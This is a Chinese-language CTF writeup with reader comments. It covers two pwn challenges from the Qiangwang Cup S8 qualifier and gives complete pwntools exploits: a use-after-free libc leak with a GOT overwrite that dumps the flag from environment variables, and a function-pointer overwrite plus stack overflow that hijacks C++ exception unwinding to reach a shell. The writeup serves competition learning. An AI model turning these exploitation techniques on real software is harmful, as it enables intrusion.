强网杯S8初赛pwn writeup

xia0ji233

本次强网杯初赛做出两道pwn题，把详细题解写一下记录。

<!--more-->

baby_heap

附件下载

2.35 的版本，IDA打开，堆菜单题，经典增删改查之外，还有两个额外的操作，一个是环境变量，另一个是任意地址写 0x10 字节。

del 里面有很明显的UAF漏洞。

show 只有一次机会，但是可以同时将 libc 和堆地址一起泄露出来，只需要我们释放两个相同大小的堆块之后，bk_nextsize 和 fd_nextsize 上面就会携带堆的地址，然而我自己的做法中没有用到。

交互函数：

from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def choice(ch):
    p.sendlineafter("choice:",str(ch))

def add(size):
    choice(1)
    p.sendlineafter('size',str(size))

def free(idx):
    choice(2)
    p.sendlineafter('delete:',str(idx))

def edit(idx, payload):
    choice(3)
    p.sendlineafter('edit:',str(idx))
    p.sendafter('content',content)

def show(idx):
    choice(4)
    p.sendlineafter('show:',str(idx))

def env(ch):
    choice(5)
    p.sendlineafter('sad !',str(ch))

def write(addr1,payload):
    choice(6)
    p.sendafter('addr',p64(addr1))
    p.send(payload)

先add出四个堆块，把 1 3 free 掉，再打印出 3 堆块的内容，即可连带泄露 libc 和堆地址。

add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)

运行结果

注意到选项 6 并不是任意地址写，而是有一定限制的，

这里说实话不知道是不是 IDA 解析有问题。因为理论上来说 stdin 是 FILE * 类型，占 8 字节，因此 &stdin[512] 等同于 stdin 的地址加上 512*8=4096=0x1000，但是将视角调到汇编时会发现

它往后加了 0x1b000 的地址，通常情况下，以汇编为准一定没问题（以上是做题时的想法），但是后来才发现犯了一个错误，stdin 的确是 FILE * 类型的，但是 stdin[0] 是 FILE 类型的，直接的 stdin 是一个指向 _IO_2_1_stdin_ 的指针，类型为 FILE，在 gdb 里面也很容易观察到这一点。

这里主要观察这个 &stdin[512] 与 stdin 的差值，以及可以发现，它所禁用的这个范围就是 libc _IO_2_1_stdin_ 之后的data 段，全部不允许写。

而另外一个条件就有意思了，不能超过 80 开头的一个地址，基本不会触发，所以目标很明确，让我们去写 libc _IO_2_1_stdin_ 之前的 data 段，或者是写堆段，程序段写不了因为没有办法泄露地址。

先考虑前者，来看看之前的 data 段存了哪些内容。

发现基本是 got 表，于是尝试输出看看 libc 的 got 表，发现都是跟字符串操作的相关函数

看来可以尝试在这里找一个函数作为跳板，能不能 one_gadget 呢？显然不能，这题有沙箱。

除非你能找到一个 execveat 系统调用执行的 one_gadget 这题才能直接一键利用。

同时注意到选项 5 对环境变量的相关操作

• getenv
• putenv
• setenv

这里可以直接上 glibc 的源码。

char *
getenv (const char *name)
{
  char **ep;
  uint16_t name_start;

  if (__environ == NULL || name[0] == '\0')
    return NULL;

  if (name[1] == '\0')
    {
      /* The name of the variable consists of only one character.  Therefore
     the first two characters of the environment entry are this character
     and a '=' character.  */
#if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
      name_start = ('=' << 8) | *(const unsigned char *) name;
#else
      name_start = '=' | ((*(const unsigned char *) name) << 8);
#endif
      for (ep = __environ; *ep != NULL; ++ep)
    {
#if _STRING_ARCH_unaligned
      uint16_t ep_start = *(uint16_t *) *ep;
#else
      uint16_t ep_start = (((unsigned char *) *ep)[0]
                   | (((unsigned char *) *ep)[1] << 8));
#endif
      if (name_start == ep_start)
        return &(*ep)[2];
    }
    }
  else
    {
      size_t len = strlen (name);
#if _STRING_ARCH_unaligned
      name_start = *(const uint16_t *) name;
#else
      name_start = (((const unsigned char *) name)[0]
            | (((const unsigned char *) name)[1] << 8));
#endif
      len -= 2;
      name += 2;

      for (ep = __environ; *ep != NULL; ++ep)
    {
#if _STRING_ARCH_unaligned
      uint16_t ep_start = *(uint16_t *) *ep;
#else
      uint16_t ep_start = (((unsigned char *) *ep)[0]
                   | (((unsigned char *) *ep)[1] << 8));
#endif

      if (name_start == ep_start && !strncmp (*ep + 2, name, len)
          && (*ep)[len + 2] == '=')
        return &(*ep)[len + 3];
    }
    }

  return NULL;
}

观察到最后一个循环中，它在遍历环境变量，并且使用 strncmp 这个函数，而这个函数恰好是在 got 表中的，如果尝试将其改为 puts，结果会如何呢？

可以发现只输出了 USER 环境变量，而且前两位被去掉了，我们从头来分析这个源码看。因为我们入口是 getenv("USER")，所以长度为 1 的判断就直接过掉，直接看 else 分支，似乎只有开头两个字符匹配到了，才会紧接着调用 strncmp，因此出现了只输出 USER 环境变量的问题。

但是当我选择选项 2 或 3 的时候，它输出了所有的环境变量

也就是说不管是调用 putenv 还是 setenv，在劫持了 strncmp 函数之后都可以完美输出所有环境变量。

它们两个函数内部都调用了一个函数 __add_to_environ。

函数源码跳楼

int
__add_to_environ (const char *name, const char *value, const char *combined,
          int replace)
{
  char **ep;
  size_t size;

  /* Compute lengths before locking, so that the critical section is
     less of a performance bottleneck.  VALLEN is needed only if
     COMBINED is null (unfortunately GCC is not smart enough to deduce
     this; see the #pragma at the start of this file).  Testing
     COMBINED instead of VALUE causes setenv (..., NULL, ...)  to dump
     core now instead of corrupting memory later.  */
  const size_t namelen = strlen (name);
  size_t vallen;
  if (combined == NULL)
    vallen = strlen (value) + 1;

  LOCK;

  /* We have to get the pointer now that we have the lock and not earlier
     since another thread might have created a new environment.  */
  ep = __environ;

  size = 0;
  if (ep != NULL)
    {
      for (; *ep != NULL; ++ep)
    if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
      break;
    else
      ++size;
    }
/*
中间省略很多代码，感兴趣可以直接去看完整源码
*/

  return 0;
}

通过分析这个函数的源码，可以发现这里会无条件地去遍历环境变量一次一次调用 strncmp 去判断，并且很幸运，第一个参数就是函数变量的指针，因此修改 strncmp 的 got 为 puts 函数，就可以输出所有的环境变量。

在远程环境中， flag 就在环境变量中。

总EXP：

from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def choice(ch):
    p.sendlineafter("choice:",str(ch))

def add(size):
    choice(1)
    p.sendlineafter('size',str(size))

def free(idx):
    choice(2)
    p.sendlineafter('delete:',str(idx))

def edit(idx, payload):
    choice(3)
    p.sendlineafter('edit:',str(idx))
    p.sendafter('content',content)

def show(idx):
    choice(4)
    p.sendlineafter('show:',str(idx))

def env(ch):
    choice(5)
    p.sendlineafter('sad !',str(ch))

def write(addr1,payload):
    choice(6)
    p.sendafter('addr',p64(addr1))
    p.send(payload)

add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)

libc_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
success('libc_addr: '+hex(libc_addr))
write(libc_addr+0x21a118,p64(libc_addr+libc.sym['puts']))
env(2)
gdb.attach(p)
p.interactive()

---

第二种方法当然是可以用 Largebin Attack 去打，但是过于复杂，可能自己还没学会，主要在于分享自己的 EXP 和做题思路了，就不增加额外的工作量。

expect_number

附件下载

这题没给 libc，应该题目自己有提权或者是给 flag 的东西，运行它输出的话，需要让我们最终计算得到 0x4F5DA2 这个值。

也是一个很经典的菜单

选项 1 发现它会根据随机 1~4 之间的整数来判断当前对数字做四则运算，1、2、3、4 分别对应了加、减、乘、除，并且另一个运算的数字只能是 0 1 2。既然是随机，那么交叉一下 srand 函数看看它是用了什么种子。

虽然调用了 time 函数，但是使用了 1 作为种子，因此序列是固定的，可以自己也编写一个 C 语言程序去输出这个序列。

#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
    srand(1);
    for(int i=0;i<288;i++){
        printf("%d ",rand()%4+1);
    }
}

为了避免被怀疑水长度，这里 288 个数字不展示了，仅在最后 EXP 展示。

很显然的，加减如果是 0，那么这次加减是无效的，乘除如果是 1，这次乘除也是无效的，来先看看指定数值的判断逻辑。

它只判断最后的那一个字节是否为 a8，自己构造序列也挺简单，遇到除法就给 1，遇到减法就给 0，结果发现再一次加法中突然报错了。

顺着报错找到代码

看了一下可能我的数值不超过 0x100，但是发现 >0x80 的数被识别为了负数，前面将char类型做了符号扩展之后又转为无符号整数，自然就超出范围了。

这里举个例子构造 0x82，再次尝试加法的时候结果为 0x80于是进入里面的逻辑

可以发现它先做了零扩展（movzx），再做了符号扩展（movsx），因此下一步 RAX 的值变为了 0xffffff80，对于res来说，它是 -80 了，再+2变为 -78，转为无符号整数之后自然就超过了 0x100

因此如果想算出超过 0x80 的字节，必须算到对应的 /2 的形式，而且最后一个运算符必须是 *2，结果只能是偶数，不能结果不能超过一个字节。

这些结论做稍加的数学推导应该很容易发现，但是当你好不容易凑好 0x54，再乘 2 得到 0xa8 的时候，会发现，远程 gift 是没有这个文件的。

咨询出题人（合理的咨询是不违反比赛规则的）后发现这是正常情况

那么题目就不是让我们执行这个 system("cat gift") 了，闲来无事去找字符串的时候发现 /bin/sh，发现在输入选项的时候有一个后门。

发现 cin 被 try 包裹了，如果出现运行时错误，那么就执行 system("/bin/sh")，而试过了各种输入都无法触发，一再陷入僵局，后面发现了退出函数有一个函数指针的调用。

正常情况下就是输出 Good Bye，于是想到能否将结果覆盖到上面，计算的数值的结构体是

struct calc{
    char *unknown;
    int rounds;
    char num[288];
    char s;
}

而我们的数值是随着 round 增加保存在后面的，查看是否有机会覆盖函数指针，结构体地址在 5400，而函数指针在 5520，显然我们足以覆盖这个函数指针。

具体字段图中标出，我们有机会覆盖任意字节到函数指针的低位。

于是找各种可能的情况，在 4c00 的地址 0x100 字节范围内看看有什么能修改的。

这里大概率都是虚函数表，发现 0x60 偏移处有一个栈溢出，栈溢出刚好足以让我们覆盖返回地址。

同时发现它主动检测溢出了会抛出运行时异常，运行时异常 emm，是不是可以和前面结合一下呢，答案是可以的，我们来了解一下C++如何处理异常的。我们都知道，在严格的异常处理流程，一个函数如果有可能抛出异常，要么你声明它本身也是可以抛出异常，要么将可能抛出异常的函数用 try 包裹。

C++ 如何实现多级的 try 判断呢，答案是栈回溯，它会寻找调用栈，判断之前的函数有没有被 try 包裹，有的话尝试捕获去处理。正常情况下这种设计当然没问题，如果返回值地址被我们修改的话，它就会根据返回值地址的值去寻找调用栈，那么此时我就可以尝试将这个抛出的异常在 cin 输入那里去捕获，然后完成 system("/bin/sh") 的调用。

并且 show 功能可以输出程序基地址，也不用去爆破了。

最后一点需要注意的是，看到后门这里，它有一条写栈内存的指令，因此在溢出的时候，RBP 要设为一个可写的地址。

最终 EXP

from pwn import *
p=process('./expect_number',aslr=False)
# p=remote('39.106.48.123',32818)
context.log_level='debug'

seq="4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2".split(' ')
seqnum=[int(i) for i in seq]
target=0x60

now=0
ch=0
k=''
for i in seqnum:
    p.sendlineafter('choice ','1')
    if i==1:
        k += '2'
        now += 2
        # if now == target-2:
        #     gdb.attach(p)
        p.sendlineafter('or 0', str(2))
    elif i==2:
        k += '0'
        p.sendlineafter('or 0', str(0))
    else:
        k += '1'
        p.sendlineafter('or 0', str(1))
    ch+=1
    if now==target:break
gdb.attach(p)
for i in seqnum[ch:-0xc]:
    p.sendlineafter('choice ', '1')
    if i==1 or i==2:
        p.sendlineafter('or 0', str(0))
        k += '0'
    else:
        p.sendlineafter('or 0', str(1))
        k += '1'
    # input()

p.sendlineafter('choice ', '2')
p.recvuntil(k)
addr=u64(p.recv(6)+b'\0\0')-0x4c60
success('code: '+hex(addr))

payload=b'\x00'*0x20+p64(addr+0x5080)+p64(addr+0x251A)
p.sendlineafter('choice ', '4')

p.sendafter('Tell me your favorite number.', payload)

p.interactive()

本地运行结果

远程运行结果（纪念一下hh）

总结

能打出两题还是挺开心的，感谢强网杯提供的高质量赛题（就是rs和go没学过后面就坐牢了），不管是从考点还是利用难度来说，题目出的都是非常棒的。

xia0ji233

Tflystar 发表于 2024-11-8 23:04
师傅，感觉这里好像不太对。因为这题禁用了openat，evecveat启动的进程仍然继承沙箱规则，而程序一般都需要 ...

这个也没具体做过实验，实际上是根本没有这样的gadget，也就没有去做论证了。事实上的确，execve在启动文件的时候是会继承一定的上下文环境，比方说文件描述符之类的，当然沙箱环境也会。

1amfree

谢谢分享，学习了！

cnwutianhao

感谢分享

Redbell

非常厉害了！团队一共做了多少题啊

pjyang

感谢分享

jedi

谢谢分享，学习了！

yan999

厉害了，学习一下

Tflystar

除非你能找到一个 execveat 系统调用执行的 one_gadget 这题才能直接一键利用。

师傅，感觉这里好像不太对。因为这题禁用了openat，evecveat启动的进程仍然继承沙箱规则，而程序一般都需要openat才能正常运行。所以即使有这样的one_gadget也不能一键利用吧。

zhangyuekai55

表示没看懂~！

binghe01

学到了，感谢师傅的分享